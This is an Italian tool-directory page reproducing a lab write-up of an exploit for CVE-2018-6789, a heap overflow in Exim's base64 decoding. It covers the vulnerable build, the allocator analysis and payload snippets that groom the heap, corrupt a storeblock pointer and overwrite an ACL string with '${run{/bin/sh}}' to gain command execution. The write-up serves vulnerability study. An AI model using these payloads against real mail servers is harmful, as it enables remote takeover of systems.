Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2018-6789 — Exploit per CVE-2018-6789, un heap buffer overflow nella decodifica base64 di Exim, che consente l'esecuzione remota di codice tramite chunk overlap e manipolazione delle stringhe ACL. | Kitploit
Strumenti/GitHubGitHub/beraphin/cve-2018-6789
Analisi delle VulnerabilitàExploitCTFApprendimento e FormazioneBinary ExploitationLab e Pratica
GitHubberaphin/cve-2018-6789

CVE-2018-6789

Exploit per CVE-2018-6789, un heap buffer overflow nella decodifica base64 di Exim, che consente l'esecuzione remota di codice tramite chunk overlap e manipolazione delle stringhe ACL.

Vedi Repository
3116 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2018-6789

Setup dell'ambiente

Installa le dipendenze

root@kitploit:~
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev

Scarica la vecchia versione di exim

root@kitploit:~
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf

Poi modifica Local/Makefile Per comodità, tutte le cartelle puntano alla directory corrente

root@kitploit:~
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes

Questo facilita il debug Poi compila e installa

root@kitploit:~
make install

Modifica ./configure, sovrascrivendolo direttamente con il seguente contenuto

root@kitploit:~
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
  .ifdef CHECK_MAIL_HELO_ISSUED
  deny
    message = no HELO given before MAIL command
    condition = ${if def:sender_helo_name {no}{yes}}
  .endif

  accept

acl_check_data:
  accept

begin authenticators
fixed_cram:
  driver = cram_md5
  public_name = CRAM-MD5
  server_secret = ${if eq{$auth1}{ph10}{secret}fail}
  server_set_id = $auth1

Esecuzione

root@kitploit:~
./bin/exim -bd -d-receive

Analisi della vulnerabilità

Prima analizziamo la patch in base64.c: 1 Qui result è il buffer che contiene il risultato della decodifica base64, ottenuto tramite la funzione store_get. Si può notare che il calcolo di size prima della patch è errato: quando size rientra nell'intervallo 4n~4n+3, la lunghezza calcolata è identica, ma b64decode, decodificando un input la cui lunghezza non è multipla di 4, produce uno o due byte in più.

Ad esempio, se inviamo direttamente

root@kitploit:~
auth_md5('Hf'*42)

size=0x40
La distribuzione della memoria è:

root@kitploit:~
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0010 0x711d70  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  │....│....│....│....│
+0020 0x711d80  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  │....│....│....│....│
+0030 0x711d90  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 00  │....│....│....│....│
+0040 0x711da0  20 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │.aaa│aaaa│aaaa│aaaa│

Proviamo anche

root@kitploit:~
auth_md5('Hf'*42+'HfH')

size=0x40

root@kitploit:~
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0010 0x711d70  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  │....│....│....│....│
+0020 0x711d80  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  │....│....│....│....│
+0030 0x711d90  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0040 0x711da0  f1 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │.aaa│aaaa│aaaa│aaaa│

Si ha un overflow di due byte.

Meccanismo di gestione della memoria di Exim

Per migliorare le prestazioni, exim ha implementato un proprio meccanismo di gestione della memoria sopra quello dell'heap originale; funge da buffer intermedio tra il codice e glibc, con l'obiettivo di ridurre il numero di chiamate a malloc e free. 2 Per exim, un singolo chunk dell'heap è chiamato storeblock; ogni volta che viene usato, da esso viene ricavato un buffer di dimensione adeguata. Quando uno storeblock è esaurito, viene allocato un nuovo storeblock con malloc. Per ogni storeblock, la sua struttura è una semplice lista concatenata singola:

root@kitploit:~
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
  struct storeblock *next;
  size_t length;
} storeblock;

Le principali API usate dal programma per l'heap si trovano in store.c:

root@kitploit:~
store_get
store_release
store_extend
store_reset

Tra queste, store_get è usata per ottenere il buffer; il codice chiave è il seguente:

root@kitploit:~
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145   int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161   /* If there was no free block, get a new one */

162   if (!newblock)
163     {
164     pool_malloc += mlength;           /* Used in pools */
165     nonpool_malloc -= mlength;        /* Exclude from overall total */
166     newblock = store_malloc(mlength);
...

Si può notare che la lunghezza minima di ogni store_block richiesto è STORE_BLOCK_SIZE, cioè 8192.

Quindi uno store_block di dimensione 8192, aggiungendo l'header della struttura e l'header del chunk dell'heap, ha una dimensione totale di 0x2020. 3

Ogni volta che exim esegue un comando inviato dal client, se il comando ha successo, viene chiamata store_reset per liberare le cache non necessarie e gli store_block in eccesso.
Qui "eseguito con successo" significa che il formato del comando è corretto, l'indirizzo email non contiene caratteri non validi, ecc.; altrimenti store_reset non viene chiamata.

Strategia di exploit

Questa vulnerabilità è un classico off-by-one (anche se in realtà si può eccedere di due byte), ma poiché i byte di overflow sono pochi, non è possibile sovrascrivere direttamente le strutture sensibili nel chunk. Quindi è necessario sfruttare alcune caratteristiche di ptmalloc per amplificare l'impatto di questa vulnerabilità, trasformandola in un overflow su un'area più vasta, o meglio in un overlap.
Per le vulnerabilità off-by-one, esiste un classico metodo di sfruttamento: chunk enlarge -> chunk overlap. Ingrandendo la size del chunk e falsificando un header del chunk per bypassare i sanity check di glibc, si ottiene l'overlap dei chunk, consentendo una copertura su un'area più ampia. Qui il processo principale è: chunk enlarge -> chunk overlap -> corruzione del puntatore next nello storeblock, quindi innescare store_reset per causare la free di un chunk arbitrario; una volta riallocato questo chunk, si può modificarne il contenuto (type confusion). meh nel suo articolo consiglia di modificare il chunk in cui si trova la stringa ACL, perché nella gestione delle stringhe ACL esiste una funzionalità di esecuzione comandi. Le stringhe ACL sono moltissime, ma la maggior parte sono NULL (probabilmente a causa del file di configurazione). Qui ho scelto la stringa acl_smtp_mail; la sintassi per eseguire comandi è:

root@kitploit:~
${run{command}}

Il layout dell'heap è più o meno il seguente: 4

Il primo chunk è quello ottenuto dalla decodifica base64, usato per l'off-by-one; quindi deve trovarsi alla fine di uno storeblock. Per comodità, qui si alloca direttamente un chunk più grande di 0x2020 per contenere il risultato della decodifica base64;
Il secondo chunk è sender_helo_name, usato per sovrascrivere il chunk successivo. sender_helo_name non è memorizzato in uno storeblock, ma viene allocato direttamente con malloc:

root@kitploit:~
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);

Quindi la sua dimensione è arbitraria;
Il terzo chunk è ottenuto dalla decodifica base64, usato principalmente per falsificare l'header e venire sovrascritto; quindi deve trovarsi all'inizio di uno storeblock. Per comodità, si alloca anch'esso direttamente con dimensione 0x2020.

Exploit

La mia exploit è stata ottenuta seguendo passo dopo passo le analisi pubblicate online da altri; l'idea generale è identica, ma il layout dell'heap è leggermente diverso da quello degli altri, quindi alcuni piccoli parametri sono differenti.

Prima si genera una unsorted bin di dimensione 0x6060; basta il seguente comando per realizzarla:

root@kitploit:~
ehlo('a'*0x1000)

Quando exim riceve "EHLO "+'a'\*0x1000, nella funzione match_check_list di match.c vengono generate le seguenti tre stringhe:

root@kitploit:~
*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
其中*name*为'a'*0x1000

Poiché name ha lunghezza 0x1000, ogni stringa occuperà da sola uno storeblock; queste tre stringhe saranno quindi rispettivamente in tre storeblock consecutivi. Quando exim completa con successo il comando ehlo, in smtp_in.c, nella funzione smtp_setup_msg, le tre stringhe precedenti vengono liberate, ottenendo un chunk di dimensione 0x6060:

root@kitploit:~
4369     cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370     smtp_reset(reset_point);
4371     toomany = FALSE;
4372     break;   /* HELO/EHLO */

Il layout dell'heap in questo momento è il seguente: 5

Per posizionare sender_helo_name al centro dell'heap, dobbiamo liberare il vecchio sender_helo_name, occupare il chunk in cima; dopo che il secondo sender_helo_name viene allocato, si libera il chunk in cima.
Qui uso il comando unrecognize per l'occupazione. Poiché ricevere un comando unrecognize equivale a un comando fallito, al successivo comando eseguito con successo verrà liberato automaticamente.
Da notare che il principio dell'occupazione con unrecognize command è che, dopo aver inviato il comando a exim, exim chiama synprot_error per segnalare l'errore, simile a:

root@kitploit:~
79099 LOG: smtp_syntax_error MAIN
  SMTP syntax error in "yyyy..."
**** debug string too long - truncated ****

Ma se il comando è composto interamente da caratteri visibili, exim non alloca un nuovo chunk con malloc:

root@kitploit:~
 290 const uschar *
 291 string_printing2(const uschar *s, BOOL allow_tab)
 292 {
 293 int nonprintcount = 0;
 294 int length = 0;
 295 const uschar *t = s;
 296 uschar *ss, *tt;
 297 
 298 while (*t != 0)
 299   {
 300   int c = *t++;
 301   if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
 302   length++;
 303   }
 304 
 305 if (nonprintcount == 0) return s;
 306 
 307 /* Get a new block of store guaranteed big enough to hold the
 308 expanded string. */
 309 
 310 ss = store_get(length + nonprintcount * 3 + 1);
 ...

Se il comando contiene caratteri non visibili, exim alloca un nuovo buffer e converte i caratteri non visibili in stringhe ottali, ad esempio '\xee' -> "\356"; questa è l'origine di length + (nonprintcount * 3 + 1).

Quindi prima si inserisce sender_ehlo_name in un piccolo chunk, poi si prova a inviare 0x800 byte '\xee'; questo richiederà 0x800 + 1 + 0x800 * 3=0x2001. Nello storeblock corrente non c'è uno spazio così grande, quindi verrà allocato un nuovo store_block.

root@kitploit:~
ehlo('b'*0x20)
unrec('\xee'*0x800)

6

Poi si alloca un sender_elho_name di dimensione 0x2010:

root@kitploit:~
ehlo('x'*0x2020)

In questo modo il vecchio sender_elho_name di 0x20 viene liberato per primo:

root@kitploit:~
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
1838 
1839 /* Discard any previous helo name */
1840 
1841 if (sender_helo_name != NULL)
1842   {
1843   store_free(sender_helo_name);
1844   sender_helo_name = NULL;
1845   }
...

Poi viene allocato un nuovo sender_helo_name; quando tutto è completato, store_reset viene chiamata per eliminare i chunk non necessari. Così il messaggio di errore di dimensione 0x2020 viene liberato e, insieme al sender_helo_name già liberato sopra, subisce una malloc_consolidate formando un nuovo chunk di dimensione 0x2050: 7

A questo punto il layout dell'heap è sostanzialmente completo; successivamente si procede direttamente con l'occupazione e l'innesco della vulnerabilità.

root@kitploit:~
payload = "d"*(0x2020+0x30-0x18-1)
auth_md5(b64encode(payload)+"EfE")

Si occupa il chunk in cima, eccedendo di un byte la size da 0x2021 a 0x20f1. Poi si occupa il chunk in fondo, falsificando una size di 0x1f61 per farlo puntare al chunk successivo.

root@kitploit:~
payload2 = 'm'*0x38+p64(0x1f61) 
auth_md5(b64encode(payload2))

Qui si alloca un altro chunk, perché altrimenti lo storeblock sovrascritto sarebbe l'ultimo storeblock e next sarebbe null.

root@kitploit:~
auth_md5(b64encode('a'*0x1000))

A questo punto si può liberare sender_helo_name per creare un chunk overlap. C'è però un punto da notare: siccome abbiamo ancora bisogno del chunk in fondo per fornire il puntatore next (lo sovrascriviamo per ottenere una free a un indirizzo arbitrario), non vogliamo che questo chunk venga liberato; quindi si può costruire un name non valido per liberare solo sender_helo_name:

root@kitploit:~
2079 static int
2080 smtp_setup_batch_msg(void)
2081 {
2082 int done = 0;
2083 void *reset_point = store_get(0);

...
3998     HELO_EHLO:      /* Common code for HELO and EHLO */
3999     cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
4000     cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
4001 
4002     /* Reject the HELO if its argument was invalid or non-existent. A
4003     successful check causes the argument to be saved in malloc store. */
4004 
4005     if (!check_helo(smtp_cmd_data))
4006       {
...
4022       break;
4023       } 

Se check_helo fallisce, il programma esce da questo ciclo senza chiamare store_reset; allora diamo un'occhiata alla logica di check_helo:

root@kitploit:~
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
...
1870   /* Non-literals must be alpha, dot, hyphen, plus any non-valid chars
1871   that have been configured (usually underscore - sigh). */

1872   else if (*s)
1873     for (yield = TRUE; *s; s++)
1874       if (!isalnum(*s) && *s != '.' && *s != '-' &&
1875           Ustrchr(helo_allow_chars, *s) == NULL)
1876         {
1877         yield = FALSE;
1878         break;
1879         }
...
1885 return yield;
1886 }

Si può vedere che check_helo esegue alcuni controlli sui caratteri inviati: devono essere lettere o certi segni di punteggiatura, oppure devono essere in helo_allow_chars. Tuttavia di solito helo_alow_chars è vuoto; dovrebbe essere configurato nel file di configurazione. Quindi possiamo costruire un sender_helo_name con spazi:

root@kitploit:~
ehlo('pwn it!')   #must include some invalide chars

In questo modo si ottiene l'overlap dei chunk. Poi si occupa questo chunk per sovrascrivere il puntatore next facendolo puntare al chunk contenente la stringa ACL. C'è un problema: le altre exploit usano una sovrascrittura parziale per bypassare ASLR, ma nel mio ambiente non funziona, perché il chunk ACL e il chunk puntato da next sono molto distanti.

root@kitploit:~
pwndbg> tel 0x7214c0+0x2030
00:0000│   0x7234f0 ◂— 0x0
01:0008│   0x7234f8 ◂— 0x2021 /* '! ' */
02:0010│   0x723500 —▸ 0x728510           <== next
03:0018│   0x723508 ◂— 0x2000

pwndbg> tel 0x6f7990                      <== acl chunk
00:0000│   0x6f7990 ◂— 0x30 /* '0' */
01:0008│   0x6f7998 ◂— 0x2021 /* '! ' */
02:0010│   0x6f79a0 —▸ 0x7264f0 —▸ 0x72e5f0 —▸ 0x730640 —▸ 0x732660 ◂— ...
03:0018│   0x6f79a8 ◂— 0x2000
04:0020│   0x6f79b0 ◂— 0x7a7a2f656d6f682f ('/home/zz')
05:0028│   0x6f79b8 ◂— 0x76632f4156452f78 ('x/EVA/cv')
06:0030│   0x6f79c0 ◂— 0x362d383130322d65 ('e-2018-6')
07:0038│   0x6f79c8 ◂— 0x6d6978652f393837 ('789/exim')

Per questo la mia exploit usa un indirizzo assoluto.

root@kitploit:~
payload3 = 'y'*0x2010 + p64(0) + p64(0x2021) + p64(acl_string_block+0x10) +p64(0x2008)
auth_md5(b64encode(payload3))

In questo modo il chunk che contiene acl_string viene aggiunto alla catena di questo store_block; quando cambiamo sender_helo_name, tutti questi chunk verranno liberati in store_reset. Quindi questa volta bisogna inviare un nome valido:

root@kitploit:~
ehlo('I'*16)

Questa volta, allocando di nuovo un chunk, si potrà ottenere il chunk in cui si trova la stringa ACL:

root@kitploit:~
payload4='J'*0x60+'${run{/bin/sh}}\x00'
payload4+=((0x500-len(payload4))*'J')
auth_md5(b64encode(payload4))

Qui sovrascrivo l'indirizzo puntato da acl_smtp_mail. In pratica tutte le stringhe ACL sono in questo chunk, perché queste stringhe vengono lette una per una da configure e inserite nel buffer ottenuto con store_get; quindi sono memorizzate in modo contiguo in questo storeblock. Infine si chiama l'API relativa all'ACL:

root@kitploit:~
r.sendline('MAIL FROM: <[email protected]>')

Poi, in smtp_setup_msg -> acl_check -> acl_check_internal -> expand_string -> expand_cstring -> expand_string_internal -> child_open -> child_open_uid, viene chiamata execve per eseguire il comando presente in run. Di seguito le informazioni di debug lato server: si può vedere che il comando è stato effettivamente eseguito. 8

Reference

https://medium.com/@straightblast426/my-poc-walk-through-for-cve-2018-6789-2e402e4ff588 https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789

Scarica lo strumento